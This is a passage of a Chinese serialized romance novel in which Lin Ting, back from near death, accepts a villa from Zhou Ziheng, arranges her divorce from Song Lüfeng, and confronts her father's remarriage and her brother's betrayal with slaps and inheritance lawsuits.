饭后,周自衡看着林听,“林听,陪我到小区散散步。” 林听:“啊,散步?” 这里这么多人,为什么是让她陪他散步? 周自衡面不改色,“今晚月色不错。” 月色不错,也不用让她陪他散步啊。 她看向宋律风,“要不,你陪周自衡去散散步?” 宋律风皱眉,“哪有两个大男人一起散步的?” “走吧。”周自衡已经从餐桌上起了身,目光依旧落在林听身上,“陪我看看月色。” 林听哦了一声。 见周自衡已经朝外面走去。 她这才迟半拍跟上去,“爸,妈,我一会儿就回来。” 兴许,周自衡是有什么事情,要单独跟聊? 两人走后,餐桌上留下一片笑语。 张淑琴早已把林听当自己的亲闺女对待了。 发现有男人对她有意思,张淑琴是欢喜的,“律风啊,虽然你和小听都没在一起的意思,但要是小听和周自衡在一起,好像也不错哦!” 就连柚子,也在偷偷地笑,“律风爸爸,我发现周爸爸好像喜欢妈妈哎。” “就你是个小机灵鬼!”宋律风轻轻捏了捏柚子的鼻尖。 柚子乐呵呵的笑,“周爸爸长得好帅。妈妈应该会喜欢的吧?” 宋律风吃醋了,“律风爸爸,不帅吗?” 柚子认真道,“帅也帅,就是和周爸爸比起来,还是差了点。” 就连落落,也在一旁笑着附和,“爸爸,你真的没有周叔叔帅。那天周叔叔去学校接我和柚子妹妹,老师都尖叫了。” …… 君悦府的正中央,有个荷花池。 八月盛夏。 荷花池里,朵朵荷花开得正艳。 周自衡和林听,沿着偌大的荷花池,边走边聊。 周自衡的身高和江遇差不多。 可是他迈步间,他身上散发着江遇没有的铁血刚毅和男儿气概。 早年,林听还混迹豪门名媛圈的时候。 那些豪门千金,可是将周自衡评为西装杀。 可以说没有哪个男人穿上西装,能有周自衡的这般气势。 此时此刻,林听走在周自衡的手右侧。 身着西装的他,每走一步都透着霸者气势。 林听走到他身边,显得娇小柔弱。 这时,周自衡停下来,“你什么时候,从宋律风家搬出去?” 林听也跟着停下来,“你问这个干什么?” “既然你们不是事实婚姻,住在一起,总是不好。” 借着月色,周自衡看着林听。 月光柔和。 他的目光也是柔和的,“林听,搬出来住吧。” 林听想了想,“柚子很喜欢和落落在一起,也喜欢这整个大家庭,她从小孤独,难得这么热闹。” 周自衡:“你要是愿意,我把宋律风家隔壁买下来。你和柚子住着,也能让柚子经常和落落一起玩耍。” 林听笑了笑,“周自衡,你开什么玩笑呀。宋律风隔壁的别墅,少说也要几千万。” 周自衡认真道,“没关系,以后你慢慢还我。” 林听嘀咕了一声,“你还当我是林家的千金啊,几千万,我哪里还得起?” 说话间,林听往前迈了几步。 周自衡长腿一迈,轻而易举跟上去,走在她身侧,“你就没有想过,要回林家,拿回属于你的一切?” 提到林家,林听心情低落,“我不想回林家。” “说正事。”周自衡换了话题,“江遇已经知道,你还活着。” 昨晚他替林听删监控时,周自衡便已经料到,江遇一定会查到侵入墓园监控的IP地址。 那个男人确实够渣。 可是他不傻。 他只是爱得深,恨得也深,才失去了理智。 这个话题,让气氛沉闷起来。 林听一辈子也不想再提到江遇。 周自衡又说,“林江两家有商业间谍,他也猜到了。我估计,他知道是林薇薇,但是没证据。” 闻言,林听哼了一声,“现在才开始怀疑,未免晚了。” 迎着荷花池凉爽的晚风,周自衡问,“需要我把手上的证据,交给江遇吗?” 他又说,“那样一来,江遇必定会还你清白。” 聪明如林听,很多事情也猜到了。 她停下来,微微侧身,看着周自衡,“他是不是问你要证据了?” 铁血气概的周自稀,却是轻轻应声,“嗯。” 他的声音,和这晚风一样温柔。 林听没有想到。 墓园的监控已经被周自衡删了。 江遇还是从那速洛神玫瑰,查到了她的身上。 既然知道她还活着,她也不用再藏着躲着。 她用嗤之以鼻,表明自己的态度,“我根本不需要江遇帮我做任何事情。清白我会自己找回来,早晚有一天,我也会自己回林家。” 从妈妈的墓前回来后,她想了许多事情。 自从爆出她不是林建国的亲生女儿后,妈妈背负了许多冤屈。 妈妈是为了给林建国生儿育女,才难产而死的。 可是不止林建国,所有认识妈妈的人,都说她水性扬花,说她背叛了林建国,是个贱货。 她不能让妈妈这么冤屈。 现在,她活着,她要替妈妈洗刷冤屈。 她看着周自衡,坚定道,“周自衡,麻烦你以我的名义,转告江遇。我的清白,我自己会找回来。不需要他插手。如果他真想弥补,请他识趣一些,永远也不要出现在我面前。” 月光与夜风下,林听挺直脊柱,说得那样斩钉截铁。 她仿佛是一株风中劲草。 这样坚强的她,让周自衡的语气变得极轻,轻极,“林听,你就像一只贝壳,只是看着外表很硬而已。” 怕是经历了江遇这个狗男人之后,她的壳一定会紧紧闭起来。 再也不会让任何人走进去。 第94章 妈妈,周爸爸想娶你当老婆! 夜色很深。 周自衡的目光也很深。 林听并没有注意到什么。 她看着池子里随风摆动的荷叶荷花,一阵强颜欢笑。 “谁说我是故作坚强?” “你没听过一句话吗,为母则刚。” “每一个当妈妈的,都很刚强的。” 说着她转头,拍了拍周自衡的手臂,“不过,你放心!” 她笑着,又道: “我现在不是一个人了。” “我有你和律风,还有周爸张妈,柚子,落落,盼盼。” “好多亲人呢!” “有需要帮忙的时候,我肯定随时开口。” 说这些话之前,她拍了拍周自衡的右臂。 掌心刚好落在周自衡受伤之处。 昨夜受伤,十几厘米的伤口,缝了十余针。 林听这一拍,周自衡右臂微微后缩。 察觉到他这一细微的动作,她关心道,“怎么了?” 周自衡眉头也没皱一下。 明明,伤口刺辣辣的痛。 他的眉眼里,却是铁骨柔情的笑意。 “没事!” 两人结束话题。 短暂沉默了一阵。 不知道说什么的周自衡,突然提议,“再走走?” 这段从宋家别墅到中心荷花池的路,明明很长,周自衡却觉得没走多远。 林听有些走累了,“回去了吧。” 她突然想到一件事。 往回走时,她边走边问: “周自衡,有件事情我一直很疑惑。” “什么事?” 为了配合她的步伐,周自衡走得很慢。 月影拓在他顶天立地血性男儿的身影上。 身侧的林听被衬托得更加小鸟依人。 夜风习习中,两人并肩走着。 成双的白鹭飞过头顶。 两人落在地面影子,紧紧挨着,成双成对。 吹着这夜晚里的风,林听只觉空气很新鲜。 那是她病愈之前,从未感受过的新鲜。 心情也是轻松愉悦的。 她停下来,看着周自衡,认真地问: “你越狱期间,柚子有一次被江遇接走,突然失踪了。” “她回来告诉我,她被麻袋套走打晕,又被人扔进了冰冷的河里。” “如何被救,如何被送往城中村的巷子口,她也不知道。” “是不是你?” 除了周自衡,林听想不到任何人,能在背后如此神秘。 显然,夜色下周自衡的神色略显茫然,“不是我。” 就算他手眼通天,越狱逃亡期间,狼狈又不堪,手也没伸到这么长。 “洛高也没跟我说过这件事。” 虽然,他入狱后吩咐过洛高,要事事照应着林听。 但他回归后,洛高从没提起过这件事情。 林听百思不得其解,“柚子不可能撒谎。” 是谁在背后救了柚子? 又不敢让人知道? 林薇薇? 不可能。 一定是林薇薇,找人掳走了柚子。 她想让柚子死。 柚子被扔进水里了,不可能又把她捞起来。 真是百思不得其解。 …… 夜里九点多。 周自衡回到周家山庄。 管家洛叔,走上来,“先生,江总在会客厅等着。” 这个男人,真是阴魂不散! “不见!” 洛叔又说,“江总说了,要是您不见他,他会等到天亮。” 会客厅在东楼。 既然江遇在那里,周自衡连东楼也不去了。 他直接去了北楼。 走过一处拱形木桥,江遇从桥的另一头,半路拦截。 夜色很深。 江遇绝色风华的容貌,映在一片阴影中,“你就这么讨厌见到我?” 他从树影下,走到桥中央。 浓浓的,是夜色。 也是江遇眼中的失意与痛楚。 “我就真的那么让人烦吗?” 桥上,傲然挺立的周自衡,不动声色,“我以为你有自知之明。” “阿衡,我真的需要你的帮忙。”江遇又走近了两步。 近在周自衡的面前。 从前,周自衡的满眼麻木与冰冷,只对外人。 他对他和江书臣,从来不会麻木无情。 此刻,周自衡的眼中是没有一丝温度的。 江遇只恨自己,在兄弟最需要他的信任与支持的时,他选择了深深刺周自衡一刀。 “阿衡,林听还活着,我不可能让她和以前一样孤立无援。” “我要为她做点什么。” 周自衡用一言不发,回应江遇。 随即掏出手机,点开一段录音。 “周自衡,既然他知道我还活着。” “麻烦你以我的名义,转告江遇。” “我的清白,我自己会找回来,不需要他插手。” “如果他真想弥补,请他识趣一些,永远也别出现在我面前。” “别来恶心我。” 录音播放完毕,周自衡把手机递给江遇,“听清楚了?” 当然! 江遇听得清清楚楚。 是林听那痛彻心扉又斩钉截铁的的声音。 周自衡问,“需要再听一遍?” 江遇握紧双手,拳背上冒出青筋,“你就这么喜欢补刀子?” “既然听清楚了,那就没我什么事了。” 夜色下,周自衡魏然挺拔的身影漠然转身。 他走下木桥。 站在桥头,又停下来,未回头。 “如果林听愿意让你帮她,我手上掌握的,我会给你。” “但她并不愿意。” “别去打扰她,她好不容易过几天好日子。” 见他走远好几步,江遇喊了一声,“阿衡,我听说六少中了枪伤失踪了?他是不是想杀你?” 见周自衡头也不回,江遇关切地喊了一声,“阿衡,你要小些一些。” 过去的那些定论,都是他对周自衡的误会。 江遇这才体会到,周自衡身处周家的艰难与不易。 他担心周自衡的安危,“阿衡,如果有需要帮忙的,随时开口。” 哪里有人回应他。 周自衡已经消失在了夜色。 远去的不只是周自衡的身影,更是两人曾经毫无间隙的兄弟情。 江遇永远记得,周自衡替他挡了那一刀。 周自衡从来没有变。 也从来没有算计过他。 是他太蠢。 …… 山庄东楼。 周自衡坐在沙发上。 沙发前,站着昨晚知道真相的几个人。 这些都是周自衡的亲信。 周自衡平静中带着威慑的目光,落在众人身上,“六少中枪失踪的事情,谁传出去的?” 洛高站出来说,“先生,我吩咐过不许外传。” 洛高想了想,又说,“应该是山庄的人听到枪声,再加上那几房的人蠢蠢欲动。” 周家这场血雨腥风的内部斗争,周自衡从来没有主动解决过任何一个人。 二少与四少的死,三少与五少嫁祸到他的头上。 好在这些年他韬光养晦,藏器待时,收集了不少周家人犯罪的证据。 翻去覆雨间,洗脱嫌疑,将老三老五送进了监狱。 留下一个倒戈于他的周六少,却想要他命,想将他取而代之。 这周家个个毒蝎心肠。 一个都留不得。 见他衣袖上浸着鲜血。 是伤口又裂开了。 医生明明吩咐他,要静养。 偏偏他今日又跑出去,非要林小姐。 洛高关切道,“先生,您的伤……” “没事。”周自衡问,“让你搜集的东西,怎么样了?” 洛高:“那几房的把柄,差不多都掌握在我们手上了。 说着,洛高把一堆资料,递到周自衡面前。 周自衡大概看了看,“从六少的母亲开始,杀鸡儆猴。” 这些死掉的,进监狱的,失踪的周家男儿,并不是周老爷子跟一个女人生的。 如今一夫一妻的时代,周老爷子周才昆,却敢公然在周家山庄养起四房太太。 加上好些个女佣被周才昆睡过。 周自衡的母亲,便是其一。 周家的关系,错综复杂。 堪比古代的豪门贵族。 那些女眷,周自衡不会动,但不代表任由他们掀风作浪。 吩咐完正事,洛高劝周自衡包扎伤口。 周自衡没在意,继续问,“君悦府宋律风隔壁的别墅,谈得怎么样了?” 洛高收起那些资料,答,“业主答应卖,三天可办完所有手续。先生,就算您想送林小姐别墅,她也不一定会收。” 周自衡:“放心。” 洛高又问,“先生,到时候您真要搬过去住啊?” …… 四日后。 鹏城下了一场雨。 雨后天晴。 是个空气清新又阳光明媚的周日。 一大早,君悦府宋家众人,见着隔壁两百米开外的别墅,来了一车又一车的家具。 好像是在搬家。 他们搬完家具,有人过来敲门。 是洛高的父亲,洛叔。 林听认得。 洛叔站在他的面前,“林小姐,周先生说隔壁的家具要怎么摆放,还需要你过去安排。” 隔壁别墅,真的被周自衡买下来了? 前几天,她才听闻周自衡说要买一栋别墅,送给她。 这才四天吧,什么购房手续办得如此之快? 洛叔看向和落落一起逗着盼盼的小柚子,笑盈盈道,“周先生说,让您带上柚子一起。” 周自衡是怎么回事? 一栋别墅说送就送? 林听打算过去看看。 她很听话的,带上了柚子。 偌大的客厅里,十几个工人进进在搬家具,依然显得大厅有些空旷。 却不见周自衡的身影。 洛婶见了林听,立即笑盈盈迎上来。 这可是未来的女主人。 洛婶当然不能怠慢。 “林小姐,来了。” “先生知道你喜欢法式奶油风,这些抠门和线条,都是先生让人连夜赶工的。” 周自衡竟然知道她喜欢法式奶油风? 她好像只对江遇说过。 那个时候,她们还在上大学。 江遇说要提前准备婚房,问她喜欢什么样的装修风格。 当时周自衡在场吗? 她都想不起来了。 洛叔说,“林小姐,这沙发要怎么摆,您看看。” 林听有些不太自在,“……这,不用听我的吧。” 洛婶笑着说,“这房子是周先生送给您的,家具怎么摆,当然要听你的。” 柚子在林听身边小声说,“妈妈,周爸爸是不是想娶你当老婆啊?” 柚子昂着脑袋,看着妈妈,“要不然,他怎么会送你这么大的房子啊?” 第95章 林听重回林家 这个问题……林听挺难回答的。 她弯下腰来,小声对柚子说,“你周爸爸可能就只是想报恩。” 报小时候,她救他一命的恩情。 她把儿时,她跳进水里救周自衡的事情,告诉了柚子。 柚子听后,更疑惑了。 “啊,妈妈,你把周爸爸的头按到了水里?” “他不是应该更讨厌你吗,怎么还要报恩?” 她也不知道啊。 那时虽是跳下去要救周自衡。 但她怕水,逮着周自衡的脑袋就往水里按。 要不是江遇和江书臣赶来,她和周自衡都得死。 谁知道这男人还当成恩情了? “林听。” 这时,楼上有人喊她。 抬头一望。 栏杆处,是周自衡伟岸轩昂的身影。 他冲她们母子淡淡一笑。 笑容间,纳尽了他的铁骨柔情。 “带柚子上来看看。” “哦。” 林听倒是很听话。 领着柚子上了楼。 在周自衡的带领下,她们参观着二楼的房间。 “柚子,挑一间做你的儿童房。” 说着,跟上来的洛婶,领着柚子四处看了看。 留下来的林听,直接拒绝了: “周自衡,你要是请我吃顿饭,送我一个小礼物,我还能收。” 至于这大别墅。 真不能收。 “这么贵的别墅,没有理由收。” “收了也不能心安理得。” 男人一袭深色西装。 黑色的衬衣。 第一颗纽扣微微敞开。 说话间,充满力量的的脖颈处,喉结高挺。 “那你住在宋律风家,就能心安理得?” 其实,林听住在宋律风家,已经习惯了。 她也不是白吃白住。 有给生活费,和一部门房费水电费。 周自衡又说,“住在这里,柚子依然能够经常去落落姐姐家串门,你们母女俩又能有自由空间。” 他接着说,“你一直顶着宋太太的身份,住在宋律风家,不会觉得愧对死去的周琪?” 说话间,他给出了自己的建议: “你和宋律风不是事实婚姻。” “应该把离婚手续办了。” “才不愧对周琪。” 当初怕自己死后,柚子没着落。 林听和宋律风快速领证。 确实心中愧对周琪。 周自衡的话,让林听突然意识到,自己确实不能再心安理得地住在宋家。 “周自衡,好像你说的很有道理。” 目光一直落在她身上的周自衡,淡淡开口: “你搬过来住,可以种上你喜欢的洋桔梗。” 他的音色,明明很淡。 却在成熟绅士与铁血柔情中,游刃有余。 林听一度怀疑周自衡对自己的用意。 但她觉得,可能是自己多想了。 从小到大,周自衡都是有恩必报重情重义之人。 可能真只是为了报恩。 就在她心里展开一系列的思想活动时,周自衡又道: “我也收你房费水电费,不让你白住。” “行。”林听愉快地决定了,“我搬过来。” 说话间,周自衡带着林听,去看了她的卧室。 推开门的时候,周自衡问,“那你什么时候,去和宋律风办离婚手续?” 林听站在身后,慢了半拍回答。 周自衡保持着推开门的动作,回头看着她: “宋太太的身份,该还给周琪了。” 点头间,林听觉得很有道理,“我听你的,这几日看看宋律风是否有空。” 身后偷偷听着的洛高,忍俊不禁。 他家老板,这是在套路林小姐吧? 这坑一个比一个挖得深。 冠冕堂皇,说是不让林小姐愧对周琪律师。 其实,是自己打着如意盘算。 洛高:老狐狸果然是老狐狸! …… 傍晚。 晚饭后。 林听坐在婴儿房的椅子上。 四个多月的小盼盼,被她抱在怀里。 宋律风泡好奶粉,将奶瓶里的奶汁滴在手背上,试了试温度。 刚刚好。 他递给林听。 林听接过来,温柔地喂给小盼盼。 “律风,找个时间,我们去把离婚证领了吧。” “过几天,我搬到隔壁,周自衡把那栋房子买下来了。” “他说的有道理,宋太太的位置,应该还给周琪。” 本来他们就是假结婚。 当初只是为了让宋律风快速成为柚子的继父,拿到柚子的抚养权。 宋律风问,“周自衡劝你,和我领离婚证?” 林听看着喝奶的盼盼,生怕她呛了奶,“周自衡说的有道理,本来我就一直很愧对周琪。” 说到周琪,两人同时缅怀。 亡妻之痛,宋律风至今未能走出去。 他的神色显得悲伤。 目光孤凉。 如同挂在荒山树梢的月光,死气沉沉的。 再看自己的小女儿盼盼。 和林听的命运一样,刚出生就失去了妈妈。 可怜的孩子。 唯一欣慰的是,如今林听好好活下来了。 他们名不副实的婚姻关系,确实应该结束了。 他终于露出一丝微笑,“小听,往前走,你会幸福的。” 周自衡这男人,藏得够深。 这么些年,都没发现,他竟然对林听有那方面的意思。 宋律风唇边的笑容加深,“我支持你搬到周自衡买的房子去住。” 林听什么也没有意识到,“我给他房费和水电费的,不白住。这样也能每天串门,让落落和柚子继续互相陪伴,愉快玩耍。” 面对林听的毫无察觉,宋律风笑而不语。 两人聊天间,盼盼喝完了100毫升的奶粉。 宋律风把盼盼抱起来,小心翼翼靠在自己肩头,拍了拍盼盼的奶嗝。 这时,张淑琴站在婴儿房的门口,满眼疑惑,“律风,林家给你送来了请柬。” 宋律风也很疑惑,“哪个林家?” 张淑琴走进来,“还有哪个林家,肯定是小听那猪狗不如的渣爹——林建国啊。” 宋律风很纳闷,“他给我送请柬干什么?” 他和林家,没有多少来往。 说话间,宋律风已经拆开了请柬。 看了请柬上的内容,宋律风整个脸色阴沉下来。 他被气得胸口发闷,“小听,林建国竟然要和苏秀珍结婚,并且还要举行婚礼。” 抱着盼盼的林听,脸色刷一下沉下去。 想到自己被冤枉了三十年的妈妈。 太冤屈了! 妈妈曾经深爱着林建国。 给林建国生了一儿一女。 林建国在妈妈怀孕期间,与苏秀珍上床,让苏秀珍怀上了林薇薇。 妈妈难产而死,这两人一直在一起。 还要被苏秀珍污蔑妈妈偷人。 林建国竟然信了。 林家的产业,是当初妈妈陪林建国一起打下来的。 苏秀珍想要拿走属于妈妈的一切。 门都没有。 一口恶气提不上来的林听,再也忍不住了。 这时,宋律风又说: “小听,你父亲决定将他百分之八十的财产,赠送给苏秀珍林薇薇母女。” “他希望由我出面,拟定具有法律效益的赠送协议。” 张淑琴忍不住破口大骂,“这老不死的,是疯了吧。林薇薇和苏秀珍母女俩,骗了他一辈子。林薇薇根本不是林建国的亲生女儿。” 张淑琴替林听不值,“小听,林家的一切都是你的,你不能拱手让给这不要脸的两母女。你也应该让林建国知道,你才是他的亲生女儿。” 林听把盼盼抱给张淑琴。 又从宋律风手中,接过那张请柬。 林建国和苏秀珍这两人,连婚期都定好了。 鼎盛大酒楼。 鹏城最高端的六星酒店。 一把年纪了,还要举办盛世婚礼。 这狗男人对苏秀珍真是爱得够深。 他要是知道,妈妈从来没有背叛过他,林薇薇根本不是他的亲生女儿,他会怎样? 妈妈嫁得太不值了! 恨意,让林听将手中的请柬,揉捏成团。 指甲深深掐进掌心里。 她的心冷透了。 那个曾经说过,这辈子只娶妈妈一个人,永远爱妈妈的林建国,是想让妈妈死不瞑目吗? 她答得斩钉截铁,“我是该回一趟林家了。不是为了和林建国父女相认,而是为了妈妈。” 她要还妈妈一个清白。 回林家之前,她连夜去了周家山庄,和周自衡见了一面。 收到请柬的人,不只宋律风。 还有周家山庄的周自衡。 林听连夜来找他,在他意料之中。 这口恶气咽不下去,很正常。 周自衡什么也没问,让洛高拿来了一只U盘。 “林小姐,这是六少和林薇薇见面的聊天录音。” 迫不及待的林听,立马听了录音。 “六少放心,我会继续潜伏在林江两家。” “下次林江医药再有新的研发机密,我一定会想办法弄到手。” 反复听完录音,林听眉心紧蹙。 “周自衡,这段录音并不能证明,林薇薇不是林建国的亲生女儿。 而且林建国极其极其维护林薇薇。 他会认为这是我们伪造的证据,污蔑林薇薇。” 她想了想,又说,“周自衡,要拿到确凿的证据,我还需要你帮忙。” 周自衡:“尽管开口。” 林听把自己想的那个法子,告诉了周自衡。 周自衡:“还是你想的周到。” 其实,这个办法,周自衡之前也想到了。 并且也安排了洛高去实行。 只是没有想到,林建国会这么快,迎娶苏秀珍那个心机老女人。 …… 第二天。 星河湾,静怡别苑。 林建国和林振宇父子俩,在茶台前梳理着婚礼事宜。 林振宇满心欢喜,“爸,你终于可以和苏阿姨光明正大的在一起了。” 想想,真是不容易。 “这些年,苏阿姨对你的关心照顾,对这个家的默默付出,我是看在眼里的。” “以后你们能结为夫妻,有个伴,互相照应,我也高兴。” “爸,你也别有心理负担,虽然那个时候你答应过妈妈,这辈子只娶她一个。” “但是,是她先辜负你。” “为了信守诺言,你在她去世后三十年不续弦,已经很对得起她了。” “你别有心理负担,我支持你娶苏阿姨。” 林建国顿时老泪纵横,“振宇啊,谢谢你理解爸。爸这个年纪的人了,身边没个伴确实不行。将来你和薇薇都成家了,还得是你苏阿姨照顾我。” 林振宇替林振宇斟了一杯茶,“所以,我还得感谢苏阿姨,替我照顾您。” 就在这个时候,曹叔慌慌张张冲进茶室: “林总,林先生,宋律师来了。” 林建国笑道,“来了正好,让他进来。” 正好让宋律风替他拟定财产赠送协议。 他正高兴着,曹叔一脸复杂,不知是高兴震惊,还是难过,“林总,和宋律师一起来的,还有,还有……” 第96章 林薇薇,假的真不了 看到林听活着回来。 曹叔欣喜若狂得快要说不出话来了。 同时又有些担忧。 林建国和苏秀珍就要举行婚礼了。 林听回来了,会怎么想? 他怕林建国和林振宇没有听清,又重复说了一遍: “林总,林先生,小听和宋律师一起回来了。” “小听还活着!” 茶台前。 林振宇皱着眉头,应了一声,“曹叔,你在胡说八道什么?” 就在这时。 茶室门口。 一道纤细高挑的身影,立于宋律风身侧。 她踩着高跟鞋,在宋律风的陪伴下,一步一步走进茶室。 又一步一步,走到茶台前的林振宇和林建国父子俩身前。 两父子早已惊掉了下巴。 同时从茶台前不知不觉地站起来。 林振宇全身血液直冲天灵盖。 天啊,这是活着的小听啊? 真的是他从小宠到大的妹妹,小听吗? 他怕自己花了眼,赶紧绕过茶台,大步走到林听的面前。 小听剪了新的发。 短短的,齐到肩。 短发衬托的她的脸蛋,饱满又精致。 和儿时那张精致的娃娃脸重叠在一起。 是他的妹妹小听,真的是小听。 小听真的还活着。 林振宇顿时热泪盈眶,拉住林听的手。 温暖的手儿,被林振宇越握越紧。 紧到他想要开口喊一声妹妹时,激动得说不出话。 一声声哽咽中,他将林听紧紧拥进了怀抱里。 就像小时候一样。 “妹妹,真的是你?” “你真的活着?” “我太高兴了。” 怕自己产生了幻觉,林振宇抬头,把林听从头到脚打量着。 掌心中温暖的手儿,却冷不丁地抽出去。 “是我,我回来了,我没死。” 林听厌恶地抽开手后,脸上没有一丝一毫的笑容。 她想到自己快要死的时候,求着自己的亲哥哥,给自己一盒救命药。 他不但不给药,还要侮辱她,诋毁她。 甚至把她从小到大珍藏的,她与林振宇的水晶琉璃相册,给摔碎了。 碎掉的何止是相册。 更是他们从小到大的兄妹情。 骨血关系割不断。 可这份兄妹情,林听早就想要剪断了,远远地,再也不要瞧林振宇一眼。 可是这个男人,竟然答应林建国娶苏秀珍那个心机老女人。 竟然默认林建国把自己名下百分之八十的财产,都赠送给苏秀珍和林薇薇两母女。 妈妈九泉之下,何以安心? 这抽开的手,让林振宇胸口下意识的一阵抽痛。 妹妹在怪他。 怪他在她病重病危时,没给她一盒抗癌药。 所有的愧疚与自责,化作一句林振宇真心实意的,“小听,哥哥对不起你!” 在林听进了静怡别苑时,林家的人都围了来。 一个个的,站在茶室门口。 这里瞬间被围了个水泄不通。 大家都来或好奇,或惊讶,或不可思议地打量着。 这个死而复生,活着回来的,昔日的林家千金大小姐。 “不是死了吗?” “怎么好好地活着回来了?” “这是回来阻止林总娶苏女士的吧?” 围观的人,当然也包裹不可思议的苏秀珍与林薇薇。 两母女面色阴沉,心下大乱。 林听看着这林家的一切。 如果没有妈妈唐婉华,当初拿出自己的钱,救林家与濒临破产。 林建国哪有今日的风光? 他没有回应林振宇的话。 她指着和林家佣人,一起围在茶室门口的苏秀珍,冷冷问: “林振宇,你也支持林建国娶苏秀珍?” “支持林建国把他百分之八十的家产,都赠送给这两母女?” 骨肉团聚的喜悦,被林听这两句冷冰冰的质问,给彻底打破。 林振宇的脸色沉下来,“小听,你活着回来,我很高兴。真的。” 他发自肺腑,又道: “哥哥知道,之前我有许多对不起你的地方。” “你能活着,哥哥会像你小的时候一样,疼着你,护着你。” “但是林家的事情,你别插手。” “爸不计较妈和外面的男人偷情,生下了你,还把你当亲闺女一样养大,已经很不错了。” “你就……” 啪! 林听的巴掌,用力落在林振宇的脸颊上。 如今身体康复的她,中气十足,力道吓人。 一个巴掌,扇得林振宇脸颊红肿了起来。 啪!啪啪! 接着又是三个巴掌。 心中有愧的林振宇,默默承受着这几巴掌。 妹妹差点死在他手上。 打他这几巴掌,应该的。 就是拿刀子捅他,他也得受着。 挨了巴掌后,他默然握拳。 声音却是无比的温柔。 “小听,你杀了我也不为过。” “但是你没有资格替妈妈说话,是她先……” 啪! 又是一巴掌。 这一巴掌紧接着的,是她抬腿用力一踹。 林振宇的小腹被她踹中。 整个人,当地跌坐在地上。 “哥!” 林薇薇冲上来,蹲下来扶着林振宇。 看着林振宇肿起来的脸颊,她心疼哭了。 “哥,你没事吧?” 林薇薇回头,流着泪,满眼愤怒地瞪着林听。 “林听,你发什么疯?” “你活着回来了,我们一家人都会很欢迎。” “但是你要是回来发疯,就请你滚出我们林家。” 现在林听没功夫收拾林薇薇。 她要先收拾完林振宇这个狼心狗肺的男人。 林薇薇被她拎起来,往旁边一甩。 清通道路后,她拎起林振宇的衣领。 愤怒被她压在胸口,她失望透顶道: “林振宇,到底谁才是你亲妈?” “你是不是不知道妈妈生下你,子-宫下垂,在床上足足躺了半年。” “就算恢复了,也好长一段时间漏尿。” 这些,她是听林家以前的佣人说起的。 “妈妈被人诬陷的时候,你在干什么?” “你为什么不维护妈妈的清白?” “还要帮这个心机女人夺走林家的一切?” 林振宇当然知道,唐婉华才是他的亲妈。 可是她早就死了。 死之前,她还做了一件让他丢尽脸面的事情。 那就是背着父亲林振宇,在外面偷男人。 林振宇推开林听,“小听,你不是爸的亲生女儿,爸和苏阿姨的婚事,你不要再插手了。” 啪! 又是一巴掌。 “够了!” 就在这时,林建国拍着茶桌,一声怒吼。 林听活着回来,他高兴还来不及。 可是高兴没半分钟。 林家被林听闹得鸡飞狗跳。 他压着这阵怒意,绕过茶桌,走到林听的面前。 他从小养到大,寄托了他对亡妻许多思念的宝贝闺女,真的还好好的活着。 林建国把林听好好地看了几遍。 见她瘦虽瘦,却是健康的瘦。 血色也比之前好了许多。 林建国是欣慰的。 “回来了就好。” “小听,你之前病重,爸爸没有信任你,未能给你一盒救命药。” “爸爸的错。” “爸爸会弥补你。” “但是你哥说得没错,我和你苏阿姨的婚事,你没资格插手。” “我愿意继续把你当亲生女儿,是我宽宏大量。” “但这并不代表,你可以对我的事情指手画脚。” 林建国变得苦口婆心起来: “是,我答应过你妈妈,这辈子只娶她一个女人。” “可她先背叛我。” “我能把你养到这么大,已经很对得起她了。” “再说了,小听,爸爸这一把年纪了,身边需要一个人陪伴着。” “你苏阿姨照顾着我,伺候着我,你和你哥应该感谢苏阿姨。” 这这荒诞的言论,让林听笑不活了。 她道: “林建国,别说你娶一个苏秀珍。” “你就是娶十个百个,我都没意见。” “但是,你没有资格把财产赠送给这个心机老女人。” “那些是你和我妈的共同财产。” 财产两个字,让林建国恍然大悟,“说到底,你是冲着财产来的,对吧?” 这个时候,苏秀珍从林家一众佣人中,走上前。 来到父女俩面前。 “小听,你别和你爸吵。” “他最近身体不好。” “财产我不要了,我真的只是想留在你爸身边,照顾他。” 收拾苏秀珍和林薇薇的时机还没有到。 但不代表,林听就会这么放过苏秀珍。 她指着苏秀珍那张老脸,斩钉截铁: “听着,苏秀珍。” “这三十年来,你在林家吃的每一顿饭,花的每一分钱,都是我妈妈唐婉华与林建国的婚后财产。” “我有权利让你吐出来。” 只是她手上的证据,还不能完全让林建国信服。 暂且让苏秀珍母女俩,再舒坦几日。 看到苏秀珍委屈哭了。 林建国赶紧把她的手牵过来,紧紧握在手里。 林听觉得太可笑了。 她刚刚回林家的时候,还看林家的佣人,在擦妈妈的遗像。 这会儿这个老男人和老女人十指紧扣。 妈妈唐婉华,太不值了。 林建国警告道,“林听,我的女人,我不允许你如此不尊重她。” 苏秀珍吸了吸鼻子,“老林,小听刚回来,好好跟她说话。时间久了,她想通的,我们……” 林听斩钉截铁,“林建国,恭喜你即将迎娶新妻。我今天只是来告诉你,你大婚的那一天,我会送你一份大礼。” 她知道,没有铁证如山的证据,林建国会永远维护林薇薇苏秀珍母女俩。 今天回林家,只是第一步。 这时,林听又将目光落在林薇薇身上。 这一眼,让林薇薇乱了方寸,“姐姐……你,你真的还活着,我,我太高兴了。” 那些怒意,已被林听压在胸口。 她恢复了理智理平静,掷地有声道: “林薇薇,送你一句话。假的真不了,真的假不了。” 假的真不了! 这句话,让林薇薇差点站不稳。 她不明白林听是如何死而复生的。 林听说这句话,是什么意思? 她已经掌握了,她是林家假千金的证据了? 完了,完了,林薇薇从来没有像此刻这般害怕过。 这时,林听喊了宋律风一声。 宋律风点头后,将手中的起诉通知书,递给林薇薇、苏秀珍和林建国。 三人各一份。 他们拿着看了看。 林听道: “林建国,你此刻拥有的财产,有一半都是我母亲唐婉华的。” “作为唐婉华的子女之一,我有百分之五十的继承权。” “现在我代表我母亲,正式向法院起诉你婚内出轨,并要求进行财产分割。” 她丝毫也不拖泥带水,又对林薇薇和苏秀珍母女说: “你们手中的这份清单,是这些年来你们花我母亲的,吃我母亲的,用我母亲的。” “我也代表我母亲,正式向法院起诉,要求你们全部还回来。” 之前她是连着坐牢和重病。 没有精力收拾林薇薇和苏秀珍母女俩。 现在,她精力、体力和时间,一大把。 “想要我妈妈的财产,那就法院见。” 丢下这句话,林听便叫着宋律风,一起离开了。 围在茶室门口的林家一众佣人,赶紧让出了条道来。 让他们离开。 门口的路,却在这个时候,被一个挺拔伟岸的身影给死死拦住。 第97章 让林薇薇现出原形 门口。 男人站在清晨的薄光中。 身形挺拔,帅气英姿。 